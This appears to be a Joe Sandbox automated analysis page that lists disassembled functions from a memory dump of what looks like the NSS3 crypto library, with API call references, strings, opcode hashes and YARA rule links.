Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: d83b6d2daeabb2752d98a8a55a73bcae6969f585cceab14a24e3dbfd890ad50b
Instruction ID: cff1c87a484f26cd128c87c78602a044b96fa4978816a117cd698ac7a5d1b21f
Opcode Fuzzy Hash: d83b6d2daeabb2752d98a8a55a73bcae6969f585cceab14a24e3dbfd890ad50b
Instruction Fuzzy Hash: AE314CB6D00146ABEB009F24EC459BABB79FF49258B188174EC18C7611FB72ED64C7E0

Function 6D02CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6D02CD93,?), ref: 6D02CEEE

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6D02CD93,?), ref: 6D02CEFC

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6D02CD93,?), ref: 6D02CF0B

Part of subcall function 6D020840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0208B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6D02CD93,?), ref: 6D02CF1D

Part of subcall function 6D01FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D018D2D,?,00000000,?), ref: 6D01FB85
Part of subcall function 6D01FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D01FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6D02CD93,?), ref: 6D02CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6D02CD93,?), ref: 6D02CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6D02CD93,?,?,?,?,?,?,?,?,?,?,?,6D02CD93,?), ref: 6D02CF78

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 6b0209b52660a46b2344d416e614c9f43733489682905d60e1c69096009dc928
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: A81106B1E093015BFB409A677C81B3BB5EC9F44249F01413AEE09D7241FB61D904C6F2

Function 6CFD8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFD8C1B
EnterCriticalSection.KERNEL32 ref: 6CFD8C34
PL_ArenaAllocate.NSS3 ref: 6CFD8C65
PR_Unlock.NSS3 ref: 6CFD8C9C
PR_Unlock.NSS3 ref: 6CFD8CB6

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

Strings

KRAM, xrefs: 6CFD8C8F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: b483ef272be1edb8124707995b786098e0b90889c152283e3e9b5cfeb95798bb
Instruction ID: df12526c5821b65373c86ed7d805f00ce0c31d090524fc94501b4074aa5d8715
Opcode Fuzzy Hash: b483ef272be1edb8124707995b786098e0b90889c152283e3e9b5cfeb95798bb
Instruction Fuzzy Hash: 6E219CB1905601CFD700AF79D484669FBF4FF45304F0A896AD8888B711EB31E886CBD2

Function 6D053E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6D055B40: PR_GetIdentitiesLayer.NSS3 ref: 6D055B56

PR_EnterMonitor.NSS3(?), ref: 6D053E45

Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890AB
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890C9
Part of subcall function 6D089090: EnterCriticalSection.KERNEL32 ref: 6D0890E5
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089116
Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D08913F

PR_EnterMonitor.NSS3(?), ref: 6D053E5C
PR_EnterMonitor.NSS3(?), ref: 6D053E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6D053EA6

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PR_ExitMonitor.NSS3(?), ref: 6D053EC0
PR_ExitMonitor.NSS3(?), ref: 6D053ED7
PR_ExitMonitor.NSS3(?), ref: 6D053EEE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 6df75e4301ee50b91a077075a49214efbb29dffc3a8469cbd80f15b33c1e8a70
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: A3110675514600AFFF31AE29FD02B8BB7F5EB49208F400834E90A86162E732E835C752

Function 6D0D2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6D0D2CA0
PR_ExitMonitor.NSS3 ref: 6D0D2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6D0D2CD1
strdup.MOZGLUE(?), ref: 6D0D2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6D0D2D27

Strings

Loaded library %s (static lib), xrefs: 6D0D2D22

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 68e097d3b04ed24ca188dd6739aeedf17391ad8e674000b0bd173ba76e170f69
Instruction ID: 1958ea1e9073750d3d8f1719ae9e0357e0f8916b659322ed715c5d36b0b11ebc
Opcode Fuzzy Hash: 68e097d3b04ed24ca188dd6739aeedf17391ad8e674000b0bd173ba76e170f69
Instruction Fuzzy Hash: B711B6B5501340AFFB61CF25F841B6A77B5AB45319F44813ED90987741E7B2A888CBA1

Function 6CFCBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFCBDCA

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFCBDDB

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFCBDEC

Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CFCBE03

Part of subcall function 6D01FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D018D2D,?,00000000,?), ref: 6D01FB85
Part of subcall function 6D01FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D01FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFCBE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFCBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFCBE3B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: f4c162e7b3117dc576573c4cfcc62643b4ba4ca4c22079695c9c2ef8aa3c12f9
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: C501D6BAB4921366F61016A66C01F6B6A4C4F51B8DF150131FF089B6C2FB51E51582F7

Function 6D020FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016

Part of subcall function 6D0898D0: calloc.MOZGLUE(00000001,00000084,6CFB0936,00000001,?,6CFB102C), ref: 6D0898E5

PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B
TlsGetValue.KERNEL32(00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021044
free.MOZGLUE(00000000,?,00000800,6CFBEF74,00000000), ref: 6D021064

Strings

security, xrefs: 6D021025

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 3304aaf5a7b9af156c504aa86bca31e003575caf11fcb5d06e59bde7cc3d1fe5
Instruction ID: 93da832996b101a3a46c5410d19930bb1fe18aac7bc6c924a8d176381463f745
Opcode Fuzzy Hash: 3304aaf5a7b9af156c504aa86bca31e003575caf11fcb5d06e59bde7cc3d1fe5
Instruction Fuzzy Hash: DD018830900290A7F7212F28AC4575E7AA8BF42744F414125E81897292EBF38144CBD3

Function 6D051C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6D051C74

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6D051C92
free.MOZGLUE(?), ref: 6D051C99
DeleteCriticalSection.KERNEL32(?), ref: 6D051CCB
free.MOZGLUE(?), ref: 6D051CD2

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: f90da55cdac8fc72162b8677959fddeb84645b15624ba57f0f72e937a731bd4e
Instruction ID: f2d22f7d42491b7282711cd965313ccf64f2aeb25665313056cf47d181ebb0e7
Opcode Fuzzy Hash: f90da55cdac8fc72162b8677959fddeb84645b15624ba57f0f72e937a731bd4e
Instruction Fuzzy Hash: 870196B1D15261BFFF319FA4BE0AB4D7BB86706314F440125EE0992640E7F351948796

Function 6D0B1C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CFB3D77,?,?,6CFB4E1D), ref: 6D0B1C8A
sqlite3_free.NSS3(00000000), ref: 6D0B1CB6

Strings

a generated column, xrefs: 6D0B1C6C
an index, xrefs: 6D0B1C67
a CHECK constraint, xrefs: 6D0B1C76, 6D0B1C81
non-deterministic use of %s() in %s, xrefs: 6D0B1C85

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 0d65ab69cb335cc18564696af383179771d8501789880cbf43e4d7a360679ac1
Instruction ID: 73d61156de7c968266960257d2bca0412ea50f03f42bb95f413301f93f2004b7
Opcode Fuzzy Hash: 0d65ab69cb335cc18564696af383179771d8501789880cbf43e4d7a360679ac1
Instruction Fuzzy Hash: 250124B1A001404BE700AB28D802EB177E5EFC234CB24486DEC488B742EB32E8578792

Function 6D062E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6D063046

Part of subcall function 6D04EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6D04EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6D037FFB), ref: 6D06312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D063154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D062E8B

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

Part of subcall function 6D04F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6D039BFF,?,00000000,00000000), ref: 6D04F134

memcpy.VCRUNTIME140(8B3C75C0,?,6D037FFA), ref: 6D062EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D06317B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 18b81b9587d5b49236eda3779495749054a1d094bd1a9b853686633de2a538b3
Instruction ID: b4a0ea6e5f8a559273241c7181f9513ee4b20ad60f46d4a54355ba2fc095d467
Opcode Fuzzy Hash: 18b81b9587d5b49236eda3779495749054a1d094bd1a9b853686633de2a538b3
Instruction Fuzzy Hash: 7CA19F71A002199FEB24CF64CC90BAAB7B5FF49304F1580A9ED49A7341E771AE45CFA1

Function 6D02ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6D02ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6D02EDCE

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

free.MOZGLUE(00000000,?,?,?,?,6D02B04F), ref: 6D02EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D02EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6D02EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6D02EEFB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: ef9660799e2f57151907672d9ab13b08731b37d0f5ffd14c4d53966fea3b7e02
Instruction ID: da49c8fafbd17f115eacc6b87c3f2bdfeaf9f65b0414141aa5484b26ac9a07cf
Opcode Fuzzy Hash: ef9660799e2f57151907672d9ab13b08731b37d0f5ffd14c4d53966fea3b7e02
Instruction Fuzzy Hash: AC815AB5A412069FEF14CF65DC84B6BBBF5BF88304F044428E929DB251D771E814CBA1

Function 6D02CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D02C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6D02DAE2,?), ref: 6D02C6C2

PR_Now.NSS3 ref: 6D02CD35

Part of subcall function 6D089DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0D0A27), ref: 6D089DC6
Part of subcall function 6D089DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0D0A27), ref: 6D089DD1
Part of subcall function 6D089DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D089DED

Part of subcall function 6D016C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFC1C6F,00000000,00000004,?,?), ref: 6D016C3F

PR_GetCurrentThread.NSS3 ref: 6D02CD54

Part of subcall function 6D089BF0: TlsGetValue.KERNEL32(?,?,?,6D0D0A75), ref: 6D089C07

Part of subcall function 6D017260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CFC1CCC,00000000,00000000,?,?), ref: 6D01729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6D02CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6D02CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6D02CE2C

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6D02CE40

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

Part of subcall function 6D02CEE0: PORT_ArenaMark_Util.NSS3(?,6D02CD93,?), ref: 6D02CEEE
Part of subcall function 6D02CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6D02CD93,?), ref: 6D02CEFC
Part of subcall function 6D02CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6D02CD93,?), ref: 6D02CF0B
Part of subcall function 6D02CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6D02CD93,?), ref: 6D02CF1D

Part of subcall function 6D02CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6D02CD93,?), ref: 6D02CF47
Part of subcall function 6D02CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6D02CD93,?), ref: 6D02CF67
Part of subcall function 6D02CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6D02CD93,?,?,?,?,?,?,?,?,?,?,?,6D02CD93,?), ref: 6D02CF78

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

